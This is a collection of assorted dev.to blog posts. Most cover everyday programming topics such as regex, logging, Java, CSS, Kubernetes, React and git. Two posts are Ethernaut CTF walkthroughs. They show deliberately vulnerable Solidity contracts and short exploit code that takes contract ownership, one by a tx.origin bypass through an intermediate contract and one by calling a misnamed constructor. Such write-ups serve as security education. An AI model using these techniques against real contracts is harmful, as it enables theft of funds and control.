teleren/devto huggingface dataset:
Ethernaut Hacks Level 4: Telephone
Tags: solidity, ethereum, openzeppelin, smartcontract
Published: 2022-01-15 15:31:49

This is the level 4 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.

## Pre-requisites
- [Difference between `tx.origin` and `msg.sender`](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin)

## Hack

Given contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
```

`player` has to claim this contract's ownership.

Simple one. We'll make an intermediate contract (named `IntermediateContract`) with the same method `changeOwner` (or anything else -- name doesn't matter) on Remix. `IntermediateContract`'s `changeOwner` will simply call `Telephone` contract's `changeOwner`.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface ITelephone {
  function changeOwner(address _owner) external;
}

contract IntermediateContract {
  function changeOwner(address _addr) public {
    ITelephone(_addr).changeOwner(msg.sender);
  }
}
```

`player` will call `IntermediateContract` contract's `changeOwner`, which in turn will call `Telephone`'s `changeOwner` with `msg.sender` (which is `player`) as param. In that case `tx.origin` is `player` and `msg.sender` is `IntermediateContract`'s address. And since now `tx.origin` != `msg.sender`, `player` has claimed the ownership.

Done.

_Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄

_and following me on twitter [here](https://twitter.com/heyNvN)_ 🙏
Regular expression named capture groups
Published: 2022-01-15 15:25:47

I saw this tweet today and wanted to dig a little deeper into the destructuring assignment...

![Addy Osmani tweet on regular expression capture groups](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/loiw4g9ultede9b6vo35.png)
 
The capture group is composed by putting everything in the group between parens, and naming it with ?\<name\>

so year alone would like this:

```const year = /(?<year>\d{4})/```

The destructuring part of the tweet and Axel's follow-up, I found confusing. How can I destructure it as both an object and array?

const [match, year, month, day] = re.exec('2021-03-04');

Looking at the object keys helped clear things up:
```console.log("'re' object keys:",Object.keys(re.exec('2021-03-04')));```

gives me:
```
["0","1","2","3","index","input","groups"]
```

Code can be found here:
[Codepen](https://codepen.io/bvasko/pen/NWaoXbb?editors=0011)
Top 3 Ways to Log Errors to Simplify Debugging For Systems Engineers
Tags: programming, codequality, operations, devops
Published: 2022-01-15 15:22:21

How often do you find yourself spending hours trying to triage a failure in production?

> Debugging is challenging because _**we don't know what we're looking for**_, and to top it off, _**we have no way to pick on the trail of errors**_.

The most obvious first step is to ensure all services are logging errors to a standard logging tool.

> _Logs are your guardian angels when it comes to finding root causes of failures._

Let's understand how to befriend these angels and streamline debugging.

Here's a sample scenario.

**_A user wants to open an online bank account._**

The backend function calls are -

```
1. (api) POST /accounts
    2. (api) CreateAccountHandler()
       2.1 (internal) AccountsSvc.InitiateCreateAccount()
       2.2 (internal) AccountsSvc.ValidateUser()
           2.2.1 (validator) ValidateID()
       2.3 (internal) AccountsSvc.ValidateBankDetails()
           2.3.1 (validator) ValidateID()
       2.4 (internal) AccountsSvc.CreateAccount()
           2.4.1 (database) Store.SaveAccountDetails()
                 2.4.1.1 (writer) Data.Write()
     3. (serialization) Response.Serialize()
```

---

## #1 Relative Messaging

Steps 2.2.1 and 2.3.1 have the same ValidateID() function call.
If the **ValidateID()** call fails to validate the user, we want to log about this correlation to pinpoint the exact failure.
Use this template across _all appropriate_ levels -

> Failed to perform X while attempting to do Y

So, a failure in ValidateID() at 2.2.1 would result in errors logged from the bottommost to the topmost caller -

```
Error Log Trace
- (validator/ValidateID) Failed to validate the ID.
- (internal/ValidateUser) Failed to validate the ID while attempting to validate user details.
- (internal/InitiateCreateAccount) Failed to validate user details while attempting to create a new account.
```

---

## #2 Log Across Microservices

Imagine there are 2 microservices involved in this sample example.
```
API service accepts incoming http requests.
Internal Service performs the CreateAccount operations.
```

If all microservice log the shared context, correlating the API service errors with internal service becomes easy.

The shared context is metadata that helps filter loglines - a request ID, a user ID or an account ID.

> A logline is the "vertex", and the shared context is the segment that connects each vertex.

---

## #3 Avoid Pseudo Errors

We retry operations to deal with intermittent failures such as a flaky network.
Use the correct log level to separate intermittent failures from final failures.

> A simple way to do this is by using the "warn" level for intermittent failures and the "error" level for the final failure.

---

I hope these simple improvements streamline debugging failures.

Want to add more best practices to this list? Let me know in the comments!
Paracetamol.js💊| #14: ¿Qué imprime este código JavaScript?
Tags: javascript, beginners, webdev, spanish
Published: 2022-01-15 14:59:14

## **¿Qué imprime este código JavaScript?**

```js
function getAge(...args) {
  console.log(typeof args);
}

getAge(21);
``` 

-     A: `"number"`
-     B: `"array"`
-     C: `"object"`
-     D: `"NaN"`

---

Respuesta en el primer comentario.
Reverse of a String
Tags: java, programming, javainterviewquestion, beginners
Published: 2022-01-15 14:57:37

**Write a program to Reverse a String**

```

package InterviewPrograms;

import java.util.Scanner;

public class ReverseString {

	private static String reveresedString = "";

//Method 01 - Using String methods
	public static String revString(String str) {
		int len = str.length();

		for (int i = len - 1; i >= 0; i--) {
			reveresedString += str.charAt(i);
		}
		return reveresedString;
	}

//Method 02 - Using StringArray
	public static String revofString(String str) {
		char a[] = str.toCharArray();
		int len = a.length;
		String revStr = "";
		for (int i = len - 1; i >= 0; i--) {
			revStr += a[i];
		}
		return revStr;
	}

//Method 3 : Using String buffer class
	public static StringBuffer revofAString(String str) {
	StringBuffer sb=new StringBuffer(str);
	StringBuffer revOfString= sb.reverse();
	return revOfString;
	}

	public static void main(String[] args) {
		System.out.println("The Actual string is: ");

		Scanner input = new Scanner(System.in);
		String actualString = input.nextLine();

		reveresedString = revString(actualString);
		System.out.println("The Reversed string from Method 1 is: " + reveresedString);
		System.out.println("Reversed string from Method 2: " + revofString(actualString));
		System.out.println("Reversed string from Method 3: " + revofAString(actualString));
	}
}

```
Create an Expense Tracking App using Google AppSheet - Part1
Tags: googlecloud, tutorial
Published: 2022-01-15 14:49:22


Welcome to the Google AppSheet video tutorial series. Welcome to the first part of the Tutorial series. In this part, I will be showing you how to create an Expense Tracking App using Google AppSheet.

Check out this blog to know more : https://aryanirani123.medium.com/appsheet-tutorial-series-create-an-expense-tracking-app-e781586b5500
Paracetamol.js💊| #13: ¿Qué imprime este código JavaScript?
Tags: javascript, webdev, spanish, beginners
Published: 2022-01-15 14:45:41

## **¿Qué imprime este código JavaScript?**

```js
function checkAge(data) {
  if (data === { age: 18 }) {
    console.log("You are an adult!");
  } else if (data == { age: 18 }) {
    console.log("You are still an adult.");
  } else {
    console.log(`Hmm.. You don't have an age I guess`);
  }
}

checkAge({ age: 18 });
```

-     A: You are an adult!
-     B: You are still an adult.
-     C: Hmm.. You don't have an age I guess

Respuesta el el primer comentario.

---
[CSS Hack] Dark Mode Within a Second!
Tags: css, html, tutorial
Published: 2022-01-15 14:35:09


![Thumbnail](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lj4ycsdutzeob8xwk0pl.png)
Who doesn't like Dark Mode? In this CSS Hack, you'll learn about How To Convert a HTML Page to dark theme just using a single CSS property.
Let's see it in quick action!

In this post, we'll talk about a simple CSS filter property, which will invert colors and help us to get a Dark theme page instantly.
And the **Magic Property** Is:
```
html {
  filter: invert(100%) hue-rotate(180deg);
}
```

I don't feel comfort reading documentation websites for a long duration, if it doesn't have any Dark Theme functionalities.
![Light Theme](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yahv6q6lbmzvcnevlp54.png)
As we can see in the image above, the website is in pure white theme. So, reading text contents for so long at night, can give me real headache!

So how can I put all my attention together to complete reading those documentations? I can either install a Dark Mode enabler browser extension or go for a real quick solution like this.

If I open Inspect Element on my browser, and then select the `<html>` or the `<body>` tag using cursor, and add this little one liner css property to it's style tab just like this:
![style tab](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o6fbno07pdq71x0rq6gq.png)
The entire webpage will magically turn into dark mode and the contents of the page will get some adorable colors just like below:
![Webpage turned Dark](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pszm6ma94awlnktym0i1.png)

Finally, if you want to implement this real quick css magic trick in your website, then either you can append a toggler button or a checkbox or something. It's up to you!

_Edit: One of my Facebook friends have asked me, "what if there are some images on the page? Will they get discolored? How you will fix that thing?"_


**Well!
In some cases, you may don't want image colors to be inverted. Then you can apply a global pseudo CSS rule like below to ignore all the images or the given argument tag inside the parameter**

```
:not(img){
  filter: filter: invert(100%) hue-rotate(180deg);
}
```

[Check `filter: invert()` Browser Support](https://caniuse.com/mdn-css_types_filter-function_invert)
![Browser Support](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fplqtf1u1bgeoc3f9ask.png)
 
I know it's neither a secret trick, nor something new. But it's cool, right?

⚠ **Invert filter is only good for monochrome or minimal color. If you have so many color, then you have to add more filter to those part to avoid unnecessary inverted.**
Moderating Pod's appetites on a K8s node: the brief
Tags: devops, kubernetes, highavailability
Published: 2022-01-15 14:06:25

In Kubernetes terms, cluster operators that want to restrict _the amount of resources a single container or pod may consume are able to define allowable ranges_ per Kubernetes namespace. In the absence of any explicit assignments, the Kubernetes system _is able to apply default resource limits_ and requests if desired in order _to constrain_ the amount of resource a pod consumes on a node.

By default, [pods run with unbounded CPU and memory limits](https://kubernetes.io/docs/concepts/policy/limit-range/). This means that any pod in the system will be able to consume as much CPU and memory on the node that executes the pod.

Users may want to impose restrictions on the amount of resources a single pod in the system may consume for a variety of reasons. In general, users may:

- configure default [memory requests and limits](https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/memory-default-namespace/) for a namespace
- configure default [CPU requests and limits](https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/cpu-default-namespace/) for a namespace
- configure minimum and maximum [memory constraints](https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/memory-constraint-namespace/) for a namespace
- configure minimum and maximum [CPU constraints](https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/cpu-constraint-namespace/) for a namespace
- configure [memory and CPU quotas](https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/quota-memory-cpu-namespace/) for a namespace
- configure a [pod quota](https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/quota-pod-namespace/) for a namespace

Many thanks [Boris Zaikin](https://twitter.com/boriszzn) and Densify 🇨🇦 team for their contribution to community (Boris's article on Dev.to [is here](https://dev.to/boriszn/easy-and-fast-adjustment-of-kubernetes-cpu-and-memory-3m3p))! Canadian guys wrote some good examples [in the blog](https://www.densify.com/kubernetes-tools/kubernetes-resource-limits).

Photo by Glasscon of Germany.
Creating Laravel Artisan Commands Shortcuts using Espanso for Windows
Tags: productivity, php, laravel
Published: 2022-01-15 13:46:57

I always wondered there should be a way of creating artisan commands shortcuts just like many of users do it in Mac.

Recently I came across [Esapnso  ](https://espanso.org/) it as tool for supercharging the typing experience. It is a cross platform application.

You can download it from the above URL. Once downloaded you can easily create shortcuts by editing YAML file.
In Windows, you can easily find the .yml file from the following folder,
**C:\Users\YourName\AppData\Roaming\espanso\default.yml**


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8nf3vm1j269cm2nqfeyj.png)

So as you can see in the above image you can set **trigger** and **replace** . Trigger for setting the command e.g. in above image to start Laravel project we have to write **php artisan serve** so what I have done is I have created the command **pa** which triggers php artisan serve, to run the command in the terminal of VS Code I need to write **:pa** that's it.

Similarly we can create the following commands. As example if we want to run fresh migration and seeder too we can create following command.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/htx1ikdipkfooap8odp1.png)

So whenever in a Laravel project I need to run fresh migration and seeder, I just need to write **:mfdb** I have named the command as mfdb you can name it as anything you want.

That's it folks.. This is my first blog here...I hope you like it.
Oakley Eyeawear
Published: 2022-01-15 14:03:18

Oakley is one of the world's leading manufacturers of sports glasses and other sports equipment, and both glasses and other products are developed in close collaboration with world-class athletes. At Oakley, technology and design go hand in hand, and no details are left to chance. With materials and designs designed for demanding conditions, your Oakley glasses will always sit well and firmly on the nose, while being light and comfortable.

https://extraoptical.no/oakley
Top 5 Popular React Packages
Tags: react, reactnative, javascript
Published: 2022-01-15 13:59:06

### 1. React Responsive
- Make React application without the use of CSS, make sure to check Responsive library.

![React Responsive](https://cdn.hashnode.com/res/hashnode/image/upload/v1642254596125/JFOiY4nWe.png)
Check out: [react-responsive](https://www.npmjs.com/package/react-responsive)

### 2. React Query
- It can help to cut down code when making a network request with React
- Easily fetch, cache and update data in your React applications

![React query](https://cdn.hashnode.com/res/hashnode/image/upload/v1642253617931/gRbNtSu0Y.png)

Check out: [React Query](https://react-query.tanstack.com/)

### 3. React Hook Form
- It is the most user-friendly library
- All functionality you want in a form library is provided in a simple hook - `useForm()` which helps a lot when building forms.
![react hook form](https://cdn.hashnode.com/res/hashnode/image/upload/v1642253951906/j4J-RTwuh.png)

Check out: [React Hook Form](https://react-hook-form.com/)

### 4. Ant-Design
- It speeds up your development time by reducing the not reliable styling 
![Ant-Design](https://cdn.hashnode.com/res/hashnode/image/upload/v1642254223175/bvFic3qzV.png)

Check out: [Ant-Design](https://ant.design/)

### React DnD
- Here, DnD represents **Drag and Drop**
- It offers a user to drag and drop experience, which might be useful while uploading files or changing layout, etc...

![React DND](https://cdn.hashnode.com/res/hashnode/image/upload/v1642254526479/WVVxOBAd6.png)

Check out: [React DnD](https://www.npmjs.com/package/react-dnd)

***
Thank you for reading, have a nice day!

![Have a nice day.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1642086620246/trLPKY6le.png)
- Follow me on Twitter - [@codewithsnowbit](https://twitter.com/codewithsnowbit)
- Subscribe me on YouTube - [Code With SnowBit](https://www.youtube.com/channel/UCNTKqF1vhFYX_v0ERnUa1RQ?view_as=subscriber&sub_confirmation=1)
How to make NFT
Tags: nft, blockchain, python, javascript
Published: 2022-01-15 13:56:14

Hi everyone, Welcome to my blog, I like to talk about NFT's and how to make a NFT. So what is NFT ? A non-fungible token is a unique and non-interchangeable unit of data stored on a blockchain, a form of digital ledger. NFTs can be associated with reproducible digital files such as photos, videos, and audio - by google. To make NFT you will need a Ethereum wallet I prefer using [Metamask](https://metamask.io/). To mint NFT you will need an account in [opensea](https://opensea.io/). Open sea is the largest NFT market place in the internet. To mint a NFT you can go to "create" in the opensea website
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/clglsibvm85hwnzk10ai.png) then upload the file which you want to convert into an NFT give it a name fill the options and then change the blockchain from Ethereum to Polygon. for a gas-free NFT minting. If you choose Ethereum block chain it will cost you some gas-fuel or some Ethereum. After all click on create and sell it and earn money through it.

Don't forget to check out my NFT : [Opensea link](https://opensea.io/assets/matic/0x2953399124f0cbb46d2cbacd8a89cf0599974963/1299616809676038212545255797853704081022923385157718136009954669133201145906/) 
My personal blog : [Blog](aman-km.blogspot.com)

Thank you for reading this blog.. Wish you a fantastic day.
Hello World - Day 1
Tags: html, beginners, github
Published: 2022-01-15 13:55:59

I haven't committed to GitHub in a few months as I started a new job, not a coding job. My goal in the new year is to practice coding as much as possible. I am hoping if I document my progress here it will keep me honest.

Today I created a new repo on GitHub and connected it to my local repo.

Created repo on [GitHub](https://github.com/heidi37/dev-playground)

* Created local repo and navigated to it with command line

* Initialized repo
```
git init
```
* Created a local index.html file

* Initial Local Commit
```
git add .
git commit -m "first commit"
```
* Linked local repo to GitHub repo
```
echo "# dev-playground" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin git@github.com:heidi37/dev-playground.git
git push -u origin main
```
* Made a small change to the HTML

* Checked git status
```
git status
```
* Add changed files to commit
```
git add .
```
* Commit file locally
```
git commit -m "added <p> to home page"
```
* Push local changes to GitHub
```
git push origin main
```
* Made GitHub page public

Repo > Settings > Pages

Select Branch (in this case I'm only using 'Main')

Click Save

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hhau3nwaqglzkdbbqbmh.png)

https://heidi37.github.io/dev-playground/

The page will evolve so for posterity:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/290otaziy6qgnzoikqfp.png)
Ethernaut Hacks Level 2: Fallout
Tags: solidity, ethereum, openzeppelin
Published: 2022-01-15 13:30:03

This is the level 2 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.

## Pre-requisites:
- Solidity smart contract [constructors](https://docs.soliditylang.org/en/v0.8.10/contracts.html)

## Hack
Given contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
```

The `player` has to claim ownership of the contract.

Inspecting all the methods, it can be seen there isn't any method that switches the ownership of the contract. Only ownership logic is inside the constructor. But, constructors are called only once at the deployment time!

How? Something about constructor declaration looks unusual -- it "seems" to be defined with same name as the contract i.e. `Fallout` (it is NOT actually). Don't we use `constructor` keyword to declare constructors?

First of all - intended constructor declaration has typo, `Fal1out` instead of `Fallout`. So it is just treated as a normal method not a constructor. Hence we simply call it & claim ownership.

Secondly, even if it wasn't a typo, that is - constructor was declared as `Fallout`, it won't even compile! 
Older versions of Solidity had this kind of constructor declaration. If you go through the [docs](https://docs.soliditylang.org/en/v0.8.10/050-breaking-changes.html#constructors) you'll find that `constructor` keyword was favored against contract name as constructor. It was mandated even in `v0.5.0` - _"Constructors must now be defined using the constructor keyword"_. And target contract uses `v0.6.0`.

Anyway, silly mistake.

```javascript
await contract.Fal1out()
```

And `player` has taken over as `owner`. Verify by:
```javascript
await contract.owner() === player

// Output: true
```

Submit instance. Done.

_Learned something awesome? Consider starring the repo [here](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄

_and following me on twitter [here](https://twitter.com/heyNvN)_ 🙏